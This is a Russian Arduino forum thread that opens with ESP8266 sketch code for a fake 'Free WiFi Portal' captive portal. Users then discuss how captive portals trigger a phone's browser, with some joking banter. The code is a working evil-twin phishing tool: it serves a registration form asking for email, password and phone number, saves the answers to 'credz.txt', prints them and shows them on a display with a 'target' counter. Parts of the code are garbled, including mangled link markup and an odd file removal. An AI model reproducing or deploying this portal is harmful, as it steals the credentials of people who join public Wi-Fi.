   tone(buzzer, NOTE_A7); delay(100);
  tone(buzzer, NOTE_G7); delay(100);
  tone(buzzer, NOTE_E7); delay(100); 
  tone(buzzer, NOTE_C7); delay(100);  
  tone(buzzer, NOTE_D7); delay(100); 
  tone(buzzer, NOTE_B7); delay(100); 
  tone(buzzer, NOTE_F7); delay(100); 
  tone(buzzer, NOTE_C7); delay(100);
  noTone(buzzer);  
  }
}

void Sd_ErrorBeep() {  // Р·РІСѓРє "ERROR"
  for (int j=0; j <3; j++){
    for (int i=1000; i<2000; i=i*1.1) { tone(buzzer, i); delay(10); }
    delay(50);
    for (int i=1000; i>500; i=i*1.9) { tone(buzzer, i); delay(10); }
    delay(50);
  noTone(buzzer);
  delay(1000);
  }
}
void buzzerIcon(){
  if(buzzerStatus){
    u8g2.setFont(u8g2_font_6x10_mf);
    u8g2.drawStr(118, 10, ">");  
  }
}
void swapBuzzer(){
  if(buzzerStatus){
    SD.remove("Sd_ErrorBeep()");
  }else{
    myFile = SD.open("buzzer", FILE_WRITE);
    myFile.print("Buzzer Enabled");
    myFile.close();
  } 
}

int getBatteryLevel() { 
  uint32_t getVcc = ESP.getVcc();
  //Serial.println(getVcc);
  float measuredvbat = getVcc; // for actual voltage
  measuredvbat /= 1024; // convert to voltage 
  //Serial.println(measuredvbat);

  int percent = map(getVcc, 2300, 3000, 0, 100); // turn vcc into batt percentage (yea I know it's not that accurate due to dropoff rate)
  return percent; 
  //return random(10,90); //DEBUG
}

void battSideBar(int percent){
  percent = map(percent, 0, 100, 1, 32);
  if(percent > 32){ percent = 32; }
  if(percent < 1){ percent = 1; }

  u8g2.drawLine(124, 32-percent,124, 32);

  u8g2.drawLine(127, 0, 127, 32);   // vert line
  u8g2.drawLine(126, 0, 127, 0);    // top marker (100%)
  u8g2.drawLine(126, 8, 127, 8);    // (75%)
  u8g2.drawLine(126, 16, 127, 16);  // middle marker (50%)
  u8g2.drawLine(126, 24, 127, 24);  //(25%)
  u8g2.drawLine(126, 31, 127, 31);  // botttom marker (0%)
}

int noConnected(){
  int conns = WiFi.softAPgetStationNum();
  
  String connStr = "";
  connStr += conns;
  connStr += "/6";
  char connChr[connStr.length()+1]; 
  connStr.toCharArray(connChr, connStr.length()+1);

  u8g2.setFont(u8g2_font_6x10_mf);
  u8g2.drawStr(100,21,connChr);
}

int noAttempts(){
  String atmpStr = "target:";
  atmpStr += loginAttempts;
  char atmpChr[atmpStr.length()+1]; 
  atmpStr.toCharArray(atmpChr, atmpStr.length()+1);

  u8g2.setFont(u8g2_font_6x10_mf);
  u8g2.drawStr(70,32,atmpChr);
}

void creds(){  
  char emailChr[email.length()+1];
  email.toCharArray(emailChr, email.length()+1);
  u8g2.setFont(u8g2_font_6x10_mf);
  u8g2.drawStr(0,10,emailChr);

  char passwordChr[password.length()+1];
  password.toCharArray(passwordChr, password.length()+1);
  u8g2.setFont(u8g2_font_6x10_mf);
  u8g2.drawStr(0,21,passwordChr);

  char MobileChr[Mobile.length()+1];
  Mobile.toCharArray(MobileChr, Mobile.length()+1);
  u8g2.setFont(u8g2_font_6x10_mf);
  u8g2.drawStr(0,32,MobileChr);
}

void httpDefault(){
  server.sendHeader("Location", "<a data-cke-saved-href="<a data-cke-saved-href="http://freewifi.lan" href="http://freewifi.lan" rel="nofollow">http://freewifi.lan</a>" href="<a data-cke-saved-href="http://freewifi.lan" href="http://freewifi.lan" rel="nofollow">http://freewifi.lan</a>" rel="nofollow"><a data-cke-saved-href="http://freewifi.lan" href="http://freewifi.lan" rel="nofollow">http://freewifi.lan</a></a>", true);
  server.send(302, "text/plain", "");
  server.client().stop();
}

void httpHome(){
  server.send(200, "text/html", SendHTML(false,false));
}
void httpLogin(){
  server.send(200, "text/html", SendHTML(true,false));
}
void httpRegister(){
  loginAttempts += 1;
  email = server.arg("email");
  password = server.arg("pass");
  Mobile = server.arg("no");
  
  Serial.println(email);
  Serial.println(password);
  Serial.println(Mobile);

  myFile = SD.open("credz.txt", FILE_WRITE);
  myFile.print(email);
  myFile.print(":");
  myFile.print(password);
  myFile.print(":");
  myFile.println(Mobile);
  myFile.close();

  doubleBuzz(); 
  
  server.send(200, "text/html", SendHTML(false,true));
}

String SendHTML(uint8_t login,uint8_t reg){
  String page = "<head><title>Free WiFi Portal</title></head><body><center><div style=\"text-align:center;width:300px\">";
  page += "<img src=\"data:image/png;base64, /9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAUDBAQEAwUEBAQFBQUGBwwIBwcHBw8LCwkMEQ8SEhEPERETFhwXExQaFRERGCEYGh0dHx8fExciJCIeJBweHx7/2wBDAQUFBQcGBw4ICA4eFBEUHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh7/wAARCADIASwDASIAAhEBAxEB/8QAHQABAAICAwEBAAAAAAAAAAAAAAcIAQkEBQYCA//EAGIQAAEDAgMEAwcKDwoLCQEAAAEAAgMEBQYHEQgSITETQVEiYXGBkaGzCRQVGDJWdJKV0hcjNjdCUmJydYKUorGy0RYlMzRDU1Vjg8EkOERFVFdkhZbC0yYnNUZ2hJOjtOH/xAAXAQEBAQEAAAAAAAAAAAAAAAAAAQID/8QAGxEBAQEAAwEBAAAAAAAAAAAAAAEREiExAkH/2gAMAwEAAhEDEQA/ALloiICIiAiIgIiICIiAiLDnBoJcdAgyviWRsUbnvcGtaNST1KB83NpfBeEHT2uwEYlvDNWltPJpTQu4+7l46kdjdfCFUvMzOHH2YE0kV9vUkdC89zbqMuipgOoFoO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+2JPEuPW46krvERm0REWkEREBERAREQEREGNVkHVEU1ArGqIqrKIiAiIgIiICIiDC4d2tluu1DJQXWgpa6klGkkFTC2SNw77XAgoiCEsb7LWWl+L5rTFW4bqHHUGhk3ovHG/UeTdUN4q2RMb0RfJh6+2i7xj3LJw+lkI8GjmecIiyqN73kXm3Z3OFTge5Thv2VF0dSPJGS7TxLx9xwtie2yGO4YbvNIRz6aglb+lvHxIiNOtdDI3QOilaesOYQv0p7fX1Lt2moqqc9Qjgc7XyBEUHoLTlzmBdhrb8EYiqRw0c23ytade+4ABe4w9s05vXd0ZksFNaonc319Yxgb4Ws3neZEQqVMIbHQD2y4vxiXD7OntcAaT/aSE/qKccB5LZbYJdHNZ8NU0lZHxFZWD1xOD2hz9d0/egIiRnUjlAiLaCIiAiIgIiICIiAiIgIiIP/2Q==\" alt=\"Free WiFi Logo\" />";
  if(login){
    page += "<br><br><b>Incorrect Code</b>";
  }
  if(reg){
    page += "<br><br><b>You'r code from SMS</b>";
  }
  page += "<br><br><b><u>Login Code</u></b><br><br>";
  page += "<form action=\"/login\" method=\"post\"><input type=\"text\" placeholder=\"code\"><input type=\"submit\" value=\"submit\"></form>";

  page += "<br><b><u>Register</u></b><br><br>";
  page += "<div style=\"text-align:right\">";
  page += "<form action=\"/register\" method=\"post\">Email: <input type=\"text\" name=\"email\" placeholder=\"name@service.com\" ><br>Password: <input type=\"password\" name=\"pass\" placeholder=\"password\"><br>Mobile No.: <input type=\"text\" name=\"no\" placeholder=\"+7.......\"><br></div><input type=\"submit\" value=\"submit\"></form>";
  page += "</center></div></body>";

  return page;
}

void loop() {

  u8g2.clearBuffer(); 
  int percent = getBatteryLevel();
  battSideBar(percent);
  
  dnsServer.processNextRequest();

  buzzerIcon();
  noConnected();
  noAttempts();
  creds();
  server.handleClient();

  u8g2.sendBuffer();
  delay(1000);
}

 

BellaDmitry
Offline
Зарегистрирован: 21.04.2021

что-то я вообще не пойму ваш код, uint8_t - это же работа с дисплеем,а я говорю чтоб у меня НТML открывался и браузер запускался при подключении к точке доступа

b707
Offline
Зарегистрирован: 26.05.2017

BellaDmitry пишет:

что-то я вообще не пойму ваш код, uint8_t - это же работа с дисплеем

вы с кем сейчас разговаривали? "ваш код" - это чей?

ЕвгенийП
ЕвгенийП аватар
Offline
Зарегистрирован: 25.05.2015

BellaDmitry пишет:

что-то я вообще не пойму ваш код

Это был просто пример как надо вставлять код.

А у Вас в посте #13 уже ЧЕТВЁРТАЯ попытка и опять ... номера строк куда делись?

Вы троллите нас или правда не может код нормально вставить с четырёх попыток?

Да, кстати, постарайтесь не говорить вещи типа

BellaDmitry пишет:
uint8_t - это же работа с дисплеем
не надо :-)

BellaDmitry
Offline
Зарегистрирован: 21.04.2021

редактировал

BellaDmitry
Offline
Зарегистрирован: 21.04.2021

на сайте глюки

BellaDmitry
Offline
Зарегистрирован: 21.04.2021

вот сейчас должно быть и номерация строк и кнопки

ЕвгенийП
ЕвгенийП аватар
Offline
Зарегистрирован: 25.05.2015

BellaDmitry пишет:

здесь отвечает за загрузку страници при подключении к точке доступа?

Вопрос не понятен. Насколько я вижу, эо программа сервера. Она ничего не загружает, она только отдаёт.

В строках №№162-165 распределяется какую функцию вызвать при том или ином запросе. При пустом - httpHome, при "login" - httpLogin и т.д.

Сами эти функции находятся в строках №№ 303 - 330. Они используют функцию SendHTML (строки №№ 332-350)

Ну, это Вы и сами видите. Вопрос-то Ваш в чём?

BellaDmitry
Offline
Зарегистрирован: 21.04.2021

Я понимаю, что это сервер с DNS к тому же, создается открытая точка доступа, когда к ней подключаешься она автоматически открывает браузер смартфона и загружает http://freewifi.lan, который храниться в ESP8266, на сервере. Я не понимаю что за функция заставляется автоматически открыть браузер и начать загружать http://freewifi.lan.

ЕвгенийП
ЕвгенийП аватар
Offline
Зарегистрирован: 25.05.2015

Эта программа (точки доступа) никак не может открыть браузер смартфона, как не может этого сделать никакой другой сервер. Это делает ПО самого смартфона.

b707
Offline
Зарегистрирован: 26.05.2017

ЕвгенийП пишет:

Это делает ПО самого смартфона.

мне кажется это вообще делает хозяин смартфона вручную :)

BellaDmitry
Offline
Зарегистрирован: 21.04.2021

можете сами проверить, этот проект не мой, я его просто изучаю и хочу сам делать свои рекламные страницы в кофе, ссылка на проект https://github.com/MIST404/ESP8266_Wifi-HUNTER, этот проект и статья еще назывался Волк в овечьей шкуре.

sadman41
Offline
Зарегистрирован: 19.10.2016

Есть такая забавная техника - Captive portal называется. После коннекта к Soft AP, выскакивает соотв. уведомление (на Android 10 так). Тыкаешь в него - открывается браузер, предполагающий ввод в форму учетных данных для авторизации и последующем использовании этой сети.

ЕвгенийП
ЕвгенийП аватар
Offline
Зарегистрирован: 25.05.2015

BellaDmitry, да никто не обвиняет Вас во лжи. Открывается, значит открывается. Вам просто пытаются объяснить, что это делает софт смартфона а не сервер. Сервер не может вмешиваться в работу Вашего девайса.

Rumata
Rumata аватар
Offline
Зарегистрирован: 29.03.2019

b707 пишет:

мне кажется это вообще делает хозяин смартфона вручную :)

Ты просто мало по порносайтам гуляешь, видимо. У нормальных людей и браузер сам открывается, и приложения сами устанавливаются и автоплатежи все подключены как надо 

mykaida
mykaida аватар
Offline
Зарегистрирован: 12.07.2018

Rumata пишет:

Ты просто мало по порносайтам гуляешь, видимо. У нормальных людей и браузер сам открывается, и приложения сами устанавливаются и автоплатежи все подключены как надо 

Ну не со смартфона же - это извращение. Там экран маленький :)

Rumata
Rumata аватар
Offline
Зарегистрирован: 29.03.2019

mykaida пишет:

Ну не со смартфона же - это извращение. Там экран маленький :)

У молодых зрение хорошее пока)) А с мудростью уже и зрение не то, да и вообще...